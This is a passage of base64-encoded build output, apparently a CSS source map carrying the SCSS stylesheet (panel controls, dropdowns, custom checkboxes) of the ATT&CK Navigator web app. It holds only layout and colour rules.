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Q0Esc0JFeERDO0VGeURELDBCQUFBO0VBQ0Esa0JBQUE7RUFDQSxXRXpESztFRjBETCxlQUFBO0VBQ0EseUJBQUE7S0FBQSxzQkFBQTtNQUFBLHFCQUFBO1VBQUEsaUJBQUE7RUFDQSxtQkFBQTtBREZaO0FDTVE7RUFFSSxxQkFBQTtFQUNBLGtCQUFBO0VBQ0EsWUFBQTtBRExaO0FDT1k7RUFDSSxrQkFBQTtFQUNBLFlBQUE7RUFDQSxZQUFBO0VBQ0EsZUFBQTtBRExoQjtBQ01nQjtFQUFVLHlCQUFBO0FESDFCO0FDSWdCO0VBQ0ksY0FBQTtFQUNBLFlBQUE7QURGcEI7QUNRWTtFQUVJLHVCQUFBO0VBQ0EsdUJBQUE7RUFDQSw0Q0FBQTtFQUNBLGtCQUFBO0VBQ0EsWUFBQTtFQUNBLDBCQUFBO0VBQUEsdUJBQUE7RUFBQSxrQkFBQTtBRFBoQjtBQ0NnQjtFQUFTLFFBQUE7QURFekI7QUNNZ0I7RUFDSSxZQUFBO0VBQ0EsaUJBQUE7QURKcEI7QUNLb0I7RUFDSSxXQUFBO0FESHhCO0FDSXdCO0VBQ0ksZ0JBQUE7QURGNUI7QUNnQkE7RUFDSSxVQUFBO0VBQ0Esa0JBQUE7QURiSjtBQ2NJO0VBQ0ksZUFBQTtBRFpSO0FDZ0JBO0VBQ0kscUJBQUE7RUFDQSxzQkFBQTtFQUNBLFdBQUE7RUFDQSxlQUFBO0FEYko7QUNnQkE7RUFDSSxrQkFBQTtBRGJKO0FDY0k7RUFDSSwwQkFBQTtFQUNBLGVBQUE7QURaUjtBQ2dCQTtFQUNJLFdBQUE7RUFDQSxnQkFBQTtFQUNBLHNCQUFBO0VBQ0EscUJBQUE7RUFDQSxzQkFBQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0VBQ0EsWUFBQTtFQUNBLGlCQUFBO0VBQ0Esa0JBQUE7QURiSjtBQ2dCQTtFQUNJLG1CRTFKbUI7RUYySm5CLHlDQUFBO0FEYko7QUNlQTtFQUNJLG1CQUFBO0VBQ0EseUNBQUE7QURaSiIsImZpbGUiOiJzcmMvc3R5bGVzLnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyJAY2hhcnNldCBcIlVURi04XCI7XG4vKiBZb3UgY2FuIGFkZCBnbG9iYWwgc3R5bGVzIHRvIHRoaXMgZmlsZSwgYW5kIGFsc28gaW1wb3J0IG90aGVyIHN0eWxlIGZpbGVzICovXG5AaW1wb3J0IFwifkBhbmd1bGFyL21hdGVyaWFsL3ByZWJ1aWx0LXRoZW1lcy9pbmRpZ28tcGluay5jc3NcIjtcbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbmJvZHkge1xuICBwYWRkaW5nOiAwIDE1cHggMTVweCAxNXB4O1xuICBtYXJnaW4tdG9wOiAwO1xuICBmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCBcIlNlZ29lIFVJXCIsIFJvYm90bywgT3h5Z2VuLCBVYnVudHUsIENhbnRhcmVsbCwgXCJPcGVuIFNhbnNcIiwgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBzYW5zLXNlcmlmO1xufVxuXG4ubm9zZWxlY3Qge1xuICAtd2Via2l0LXRvdWNoLWNhbGxvdXQ6IG5vbmU7XG4gIC8qIGlPUyBTYWZhcmkgKi9cbiAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTtcbiAgLyogU2FmYXJpICovXG4gIC1raHRtbC11c2VyLXNlbGVjdDogbm9uZTtcbiAgLyogS29ucXVlcm9yIEhUTUwgKi9cbiAgLW1vei11c2VyLXNlbGVjdDogbm9uZTtcbiAgLyogRmlyZWZveCAqL1xuICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC8qIEludGVybmV0IEV4cGxvcmVyL0VkZ2UgKi9cbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC8qIE5vbi1wcmVmaXhlZCB2ZXJzaW9uLCBjdXJyZW50bHlcbiAgICAgc3VwcG9ydGVkIGJ5IENocm9tZSBhbmQgT3BlcmEgKi9cbn1cblxuLmNvbnRyb2xzQ29udGFpbmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2RkZDtcbiAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gIGRpc3BsYXk6IGJsb2NrO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIHVsIHtcbiAgbWFyZ2luOiAwO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkge1xuICBsaXN0LXN0eWxlOiBub25lO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2M5YzljOTtcbiAgcGFkZGluZzogMCA1cHggMCA1cHg7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5zZWN0aW9uLWxhYmVsIHtcbiAgZm9udC1zaXplOiA4cHQ7XG4gIHRvcDogLTEzcHg7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYm9yZGVyLWNvbG9yOiB3aGl0ZTtcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgYm9yZGVyLXdpZHRoOiAxcHggMXB4IDAgMXB4O1xuICBwYWRkaW5nOiAwIDVweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2RkZDtcbiAgYm9yZGVyLXJhZGl1czogMnB4IDJweCAwIDA7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgY29sb3I6ICM1NTU7XG4gIGN1cnNvcjogZGVmYXVsdDtcbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBoZWlnaHQ6IDM0cHg7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuY29udHJvbC1yb3ctYnV0dG9uIHtcbiAgYm9yZGVyLXJhZGl1czogM3B4O1xuICBwYWRkaW5nOiA1cHg7XG4gIGhlaWdodDogMjRweDtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkgLmNvbnRyb2wtcm93LWl0ZW0gLmNvbnRyb2wtcm93LWJ1dHRvbjpob3ZlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNkMGQwZDA7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuY29udHJvbC1yb3ctYnV0dG9uLmRyb3Bkb3duOjphZnRlciB7XG4gIGZvbnQtc2l6ZTogNXB0O1xuICBjb250ZW50OiBcIuKWvFwiO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkgLmNvbnRyb2wtcm93LWl0ZW0gLmRyb3Bkb3duLWNvbnRhaW5lciB7XG4gIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTtcbiAgYm94LXNoYWRvdzogMTBweCAxMHB4IDVweCByZ2JhKDAsIDAsIDAsIDAuNSk7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgei1pbmRleDogMTAwO1xuICB3aWR0aDogbWF4LWNvbnRlbnQ7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuZHJvcGRvd24tY29udGFpbmVyLmxlZnQge1xuICByaWdodDogMDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5kcm9wZG93bi1jb250YWluZXIuaW5wdXRmaWVsZCB7XG4gIHdpZHRoOiAxNTBweDtcbiAgcGFkZGluZzogMHB4IDEwcHg7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuZHJvcGRvd24tY29udGFpbmVyLmlucHV0ZmllbGQgbWF0LWZvcm0tZmllbGQge1xuICB3aWR0aDogMTAwJTtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5kcm9wZG93bi1jb250YWluZXIuaW5wdXRmaWVsZCBtYXQtZm9ybS1maWVsZDpmaXJzdC1jaGlsZCB7XG4gIHBhZGRpbmctdG9wOiA1cHg7XG59XG5cbi5jaGVja2JveC1jdXN0b20ge1xuICBvcGFjaXR5OiAwO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG59XG4uY2hlY2tib3gtY3VzdG9tOmRpc2FibGVkIHtcbiAgY3Vyc29yOiBkZWZhdWx0O1xufVxuXG4uY2hlY2tib3gtY3VzdG9tLCAuY2hlY2tib3gtY3VzdG9tLWxhYmVsIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICBtYXJnaW46IDVweDtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4uY2hlY2tib3gtY3VzdG9tLWxhYmVsIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuLmNoZWNrYm94LWN1c3RvbS1sYWJlbC5kaXNhYmxlZCB7XG4gIGNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuNDYpO1xuICBjdXJzb3I6IGRlZmF1bHQ7XG59XG5cbi5jaGVja2JveC1jdXN0b20gKyAuY2hlY2tib3gtY3VzdG9tLWxhYmVsOmJlZm9yZSB7XG4gIGNvbnRlbnQ6IFwiXCI7XG4gIGJhY2tncm91bmQ6ICNmZmY7XG4gIGJvcmRlcjogM3B4IHNvbGlkICNkZGQ7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgd2lkdGg6IDEwcHg7XG4gIGhlaWdodDogMTBweDtcbiAgcGFkZGluZzogMnB4O1xuICBtYXJnaW4tcmlnaHQ6IDVweDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4uY2hlY2tib3gtY3VzdG9tOmNoZWNrZWQgKyAuY2hlY2tib3gtY3VzdG9tLWxhYmVsOmJlZm9yZSB7XG4gIGJhY2tncm91bmQ6ICM2MGM1ZmY7XG4gIGJveC1zaGFkb3c6IGluc2V0IDBweCAwcHggMHB4IDFweCAjNjBjNWZmO1xufVxuXG4uY2hlY2tib3gtY3VzdG9tOmNoZWNrZWQ6ZGlzYWJsZWQgKyAuY2hlY2tib3gtY3VzdG9tLWxhYmVsOmJlZm9yZSB7XG4gIGJhY2tncm91bmQ6ICNiMGIwYjA7XG4gIGJveC1zaGFkb3c6IGluc2V0IDBweCAwcHggMHB4IDFweCAjYjBiMGIwO1xufSIsIi8qIFlvdSBjYW4gYWRkIGdsb2JhbCBzdHlsZXMgdG8gdGhpcyBmaWxlLCBhbmQgYWxzbyBpbXBvcnQgb3RoZXIgc3R5bGUgZmlsZXMgKi9cbkBpbXBvcnQgXCJ+QGFuZ3VsYXIvbWF0ZXJpYWwvcHJlYnVpbHQtdGhlbWVzL2luZGlnby1waW5rLmNzc1wiO1xuQGltcG9ydCBcImNvbG9ycy5zY3NzXCI7XG5ib2R5IHtcbiAgcGFkZGluZzogMCAxNXB4IDE1cHggMTVweDtcbiAgbWFyZ2luLXRvcDogMDtcbiAgZm9udC1mYW1pbHk6IC1hcHBsZS1zeXN0ZW0sIEJsaW5rTWFjU3lzdGVtRm9udCwgJ1NlZ29lIFVJJywgUm9ib3RvLCBPeHlnZW4sIFVidW50dSwgQ2FudGFyZWxsLCAnT3BlbiBTYW5zJywgJ0hlbHZldGljYSBOZXVlJywgc2Fucy1zZXJpZjtcbn1cblxuLm5vc2VsZWN0IHtcbiAgLXdlYmtpdC10b3VjaC1jYWxsb3V0OiBub25lOyAvKiBpT1MgU2FmYXJpICovXG4gICAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTsgLyogU2FmYXJpICovXG4gICAgIC1raHRtbC11c2VyLXNlbGVjdDogbm9uZTsgLyogS29ucXVlcm9yIEhUTUwgKi9cbiAgICAgICAtbW96LXVzZXItc2VsZWN0OiBub25lOyAvKiBGaXJlZm94ICovXG4gICAgICAgIC1tcy11c2VyLXNlbGVjdDogbm9uZTsgLyogSW50ZXJuZXQgRXhwbG9yZXIvRWRnZSAqL1xuICAgICAgICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7IC8qIE5vbi1wcmVmaXhlZCB2ZXJzaW9uLCBjdXJyZW50bHlcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdXBwb3J0ZWQgYnkgQ2hyb21lIGFuZCBPcGVyYSAqL1xufVxuXG5cbi8vICAgX19fIF9fXyAgXyAgXyBfX19fXyBfX18gIF9fXyAgXyAgICBfX19cbi8vICAvIF9fLyBfIFxcfCBcXHwgfF8gICBffCBfIFxcLyBfIFxcfCB8ICAvIF9ffFxuLy8gfCAoX3wgKF8pIHwgLmAgfCB8IHwgfCAgIC8gKF8pIHwgfF9fXFxfXyBcXFxuLy8gIFxcX19fXFxfX18vfF98XFxffCB8X3wgfF98X1xcXFxfX18vfF9fX198X19fL1xuXG4vLyAkaW5wdXRGb250U2l6ZTogMTBwdDtcbi8vIHBhbmVsIHdpdGggY29udHJvbHNcbi5jb250cm9sc0NvbnRhaW5lciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWRhcms7XG4gICAgLy8gd2lkdGg6IDEwMCU7XG4gICAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gICAgLy8gcGFkZGluZzogMCAzcHg7XG4gICAgLy8gZGlzcGxheTogZmxleDtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICB1bCB7IG1hcmdpbjogMDsgfVxuICAgIC8vIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAvLyBmb250OiA0MDAgMTJweCBzeXN0ZW0tdWk7XG5cbiAgICAuY29udHJvbC1zZWN0aW9ucz5saSB7XG4gICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgLy8gJjpub3QoOmxhc3QtY2hpbGQpe1xuICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkIGRhcmtlbigkcGFuZWwtZGFyaywgOCUpO1xuICAgICAgICBwYWRkaW5nOiAwIDVweCAwIDVweDtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuXG4gICAgICAgIC8vIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgLy8gbGFiZWwgZm9yIGEgc2VjdGlvbiBvZiBjb250cm9scywgZS5nIGxheWVyIGNvbnRyb2xzIG9yIHRlY2huaXF1ZSBjb250cm9sc1xuICAgICAgICAuc2VjdGlvbi1sYWJlbCB7XG4gICAgICAgICAgICBmb250LXNpemU6IDhwdDtcbiAgICAgICAgICAgIC8vIGhlaWdodDogOHB4O1xuICAgICAgICAgICAgdG9wOiAtMTNweDtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIC8vIGJvcmRlcjogMXB4IDFweCAwIDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogd2hpdGU7XG4gICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMXB4IDAgMXB4O1xuICAgICAgICAgICAgLy8gd2lkdGg6NTAlO1xuICAgICAgICAgICAgLy8gbGVmdDogMjUlO1xuICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweCAycHggMCAwO1xuICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgY29sb3I6ICR0YWItdGV4dC1